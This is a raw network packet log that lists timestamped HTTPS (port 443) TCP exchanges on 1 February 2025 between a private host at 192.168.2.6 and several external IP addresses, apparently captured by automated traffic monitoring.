Feb 1, 2025 21:59:21.358956099 CET	49884	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.358966112 CET	443	49884	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.359028101 CET	49884	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.360033989 CET	49884	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.360050917 CET	443	49884	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.362329006 CET	443	49883	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.362375975 CET	443	49883	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.362392902 CET	49883	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.362409115 CET	443	49883	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.362427950 CET	443	49883	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.362445116 CET	49883	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.362462997 CET	49883	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.390717030 CET	49892	443	192.168.2.6	13.74.129.1
Feb 1, 2025 21:59:21.390727043 CET	443	49892	13.74.129.1	192.168.2.6
Feb 1, 2025 21:59:21.390785933 CET	49892	443	192.168.2.6	13.74.129.1
Feb 1, 2025 21:59:21.394766092 CET	49892	443	192.168.2.6	13.74.129.1
Feb 1, 2025 21:59:21.394779921 CET	443	49892	13.74.129.1	192.168.2.6
Feb 1, 2025 21:59:21.397571087 CET	49894	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.397610903 CET	443	49894	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:21.397665977 CET	49894	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.397942066 CET	49894	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.397958994 CET	443	49894	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:21.398241997 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.398267984 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:21.398315907 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.398720980 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.398731947 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:21.402241945 CET	49897	443	192.168.2.6	13.32.99.90
Feb 1, 2025 21:59:21.402271986 CET	443	49897	13.32.99.90	192.168.2.6
Feb 1, 2025 21:59:21.402404070 CET	49897	443	192.168.2.6	13.32.99.90
Feb 1, 2025 21:59:21.402725935 CET	49897	443	192.168.2.6	13.32.99.90
Feb 1, 2025 21:59:21.402740955 CET	443	49897	13.32.99.90	192.168.2.6
Feb 1, 2025 21:59:21.404220104 CET	49899	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.404241085 CET	443	49899	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.404294014 CET	49899	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.404594898 CET	49899	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.404607058 CET	443	49899	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.405455112 CET	49883	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.405467033 CET	443	49883	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.716517925 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.716564894 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:21.716651917 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.716794968 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.716856003 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:21.718151093 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.718163013 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:21.718205929 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.718211889 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.718483925 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.718497992 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:21.718712091 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.718723059 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:21.718887091 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:21.718905926 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:21.970321894 CET	443	49899	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.972865105 CET	49899	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.972876072 CET	443	49899	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.974142075 CET	443	49899	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:21.974203110 CET	49899	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.977071047 CET	49899	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:21.977175951 CET	443	49899	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:22.033549070 CET	443	49894	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.034044027 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.054327011 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.054339886 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.054436922 CET	49894	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.054445028 CET	443	49894	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.055363894 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.055421114 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.056026936 CET	443	49894	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.056080103 CET	49894	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.064692020 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.064760923 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.065562010 CET	49894	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.065732956 CET	443	49894	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.066143036 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.066153049 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.123672962 CET	443	49897	13.32.99.90	192.168.2.6
Feb 1, 2025 21:59:22.127403021 CET	49897	443	192.168.2.6	13.32.99.90
Feb 1, 2025 21:59:22.127422094 CET	443	49897	13.32.99.90	192.168.2.6
Feb 1, 2025 21:59:22.128946066 CET	443	49897	13.32.99.90	192.168.2.6
Feb 1, 2025 21:59:22.129014015 CET	49897	443	192.168.2.6	13.32.99.90
Feb 1, 2025 21:59:22.131294012 CET	49897	443	192.168.2.6	13.32.99.90
Feb 1, 2025 21:59:22.131407022 CET	443	49897	13.32.99.90	192.168.2.6
Feb 1, 2025 21:59:22.135828018 CET	49894	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.135829926 CET	49899	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:22.135837078 CET	443	49894	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.135862112 CET	443	49899	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:22.175817013 CET	443	49892	13.74.129.1	192.168.2.6
Feb 1, 2025 21:59:22.187714100 CET	49892	443	192.168.2.6	13.74.129.1
Feb 1, 2025 21:59:22.187730074 CET	443	49892	13.74.129.1	192.168.2.6
Feb 1, 2025 21:59:22.188839912 CET	443	49892	13.74.129.1	192.168.2.6
Feb 1, 2025 21:59:22.188900948 CET	49892	443	192.168.2.6	13.74.129.1
Feb 1, 2025 21:59:22.189954042 CET	49892	443	192.168.2.6	13.74.129.1
Feb 1, 2025 21:59:22.190026999 CET	443	49892	13.74.129.1	192.168.2.6
Feb 1, 2025 21:59:22.209162951 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.319000006 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:22.319040060 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:22.319108963 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:22.319300890 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:22.319329977 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:22.321787119 CET	49897	443	192.168.2.6	13.32.99.90
Feb 1, 2025 21:59:22.321799040 CET	49894	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.321810961 CET	443	49897	13.32.99.90	192.168.2.6
Feb 1, 2025 21:59:22.321857929 CET	49899	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:22.358711004 CET	49707	443	192.168.2.6	40.126.31.71
Feb 1, 2025 21:59:22.358757019 CET	49707	443	192.168.2.6	40.126.31.71
Feb 1, 2025 21:59:22.359199047 CET	49892	443	192.168.2.6	13.74.129.1
Feb 1, 2025 21:59:22.359214067 CET	443	49892	13.74.129.1	192.168.2.6
Feb 1, 2025 21:59:22.359599113 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.359869003 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.359878063 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.360877037 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.360929012 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.361304045 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.361365080 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.361490965 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.361498117 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.364330053 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.364346981 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.364358902 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.364370108 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.364476919 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.367834091 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.368067026 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.368082047 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.369517088 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.369591951 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.370109081 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.370188951 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.370250940 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.370258093 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.377418995 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.377650976 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.377659082 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.378226042 CET	49911	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:22.378247023 CET	443	49911	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:22.378375053 CET	49911	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:22.378632069 CET	49911	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:22.378650904 CET	443	49911	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:22.379091978 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.379159927 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.379446030 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.379527092 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.379741907 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.379749060 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.430994987 CET	49897	443	192.168.2.6	13.32.99.90
Feb 1, 2025 21:59:22.431005001 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.431005001 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.437760115 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.437786102 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.437793970 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.437813044 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.437820911 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.437824011 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.437840939 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.437860966 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.437882900 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.437915087 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.455940008 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.455952883 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.455996990 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.456033945 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.456044912 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.474235058 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.474282026 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.474311113 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.474315882 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.474337101 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.474361897 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.474364996 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.474401951 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.500375032 CET	49892	443	192.168.2.6	13.74.129.1
Feb 1, 2025 21:59:22.500472069 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.522325993 CET	443	49881	2.19.126.152	192.168.2.6
Feb 1, 2025 21:59:22.522376060 CET	443	49881	2.19.126.152	192.168.2.6
Feb 1, 2025 21:59:22.522470951 CET	49881	443	192.168.2.6	2.19.126.152
Feb 1, 2025 21:59:22.522491932 CET	443	49881	2.19.126.152	192.168.2.6
Feb 1, 2025 21:59:22.526212931 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.526276112 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.526289940 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.527796030 CET	49881	443	192.168.2.6	2.19.126.152
Feb 1, 2025 21:59:22.527817965 CET	443	49881	2.19.126.152	192.168.2.6
Feb 1, 2025 21:59:22.528522968 CET	49881	443	192.168.2.6	2.19.126.152
Feb 1, 2025 21:59:22.528542995 CET	443	49881	2.19.126.152	192.168.2.6
Feb 1, 2025 21:59:22.544449091 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.544459105 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.544473886 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.544482946 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.544548035 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.544559956 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.544590950 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.552898884 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.552934885 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.552942038 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.552978039 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.552983046 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.553008080 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.553018093 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.553052902 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.572684050 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.572729111 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.572737932 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.572753906 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.572771072 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.572789907 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.572813988 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.584074974 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.584146023 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.584155083 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.632220984 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.632261038 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.632339954 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.632352114 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.632375956 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.632544994 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.632599115 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.632810116 CET	49895	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.632822990 CET	443	49895	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.642086983 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.642103910 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.642148972 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.642163992 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.642179012 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.642189026 CET	49707	443	192.168.2.6	40.126.31.71
Feb 1, 2025 21:59:22.642236948 CET	49707	443	192.168.2.6	40.126.31.71
Feb 1, 2025 21:59:22.642543077 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.642558098 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.642574072 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.642589092 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.642591953 CET	49707	443	192.168.2.6	40.126.31.71
Feb 1, 2025 21:59:22.642626047 CET	49707	443	192.168.2.6	40.126.31.71
Feb 1, 2025 21:59:22.643007040 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.643032074 CET	443	49707	40.126.31.71	192.168.2.6
Feb 1, 2025 21:59:22.643083096 CET	49707	443	192.168.2.6	40.126.31.71
Feb 1, 2025 21:59:22.679294109 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.679325104 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.679332018 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.679377079 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.679402113 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.679420948 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.679440022 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.679440022 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.679440022 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.679462910 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.679505110 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.679505110 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.697348118 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.697417974 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.697439909 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.697470903 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.697480917 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.697503090 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.697513103 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.697534084 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.697556973 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.697572947 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.697582960 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.709151030 CET	443	49881	2.19.126.152	192.168.2.6
Feb 1, 2025 21:59:22.725112915 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.725122929 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.725183964 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.725202084 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.734452009 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.734479904 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.734488010 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.734523058 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.734527111 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.734566927 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.734591007 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.734613895 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.734654903 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.734654903 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.734654903 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.734977007 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.735028982 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.735037088 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.742328882 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.742350101 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.742391109 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.742419004 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.742433071 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.742455006 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.751188040 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.751230955 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.751256943 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.751265049 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.751295090 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.751430988 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.751470089 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.751485109 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.751491070 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.751581907 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.769448042 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.769459009 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.769479036 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.769509077 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.769527912 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.769541979 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.769546986 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.769594908 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.769601107 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.769604921 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.769639969 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.789544106 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.789644957 CET	49902	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.789654016 CET	443	49902	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.816492081 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.816509962 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.816554070 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.816585064 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.816603899 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.816632032 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.816632986 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.821268082 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.821315050 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.821345091 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.821368933 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.821382046 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.821412086 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.821423054 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.821445942 CET	49901	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.825387955 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.825450897 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.825463057 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.827032089 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.827059031 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.827068090 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.827081919 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.827091932 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.827100992 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.827147961 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.830670118 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.830681086 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.830707073 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.830745935 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.830753088 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.830785036 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:22.843858957 CET	443	49901	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:22.843872070 CET	443	49901	2.23.209.3	192.168.2.6
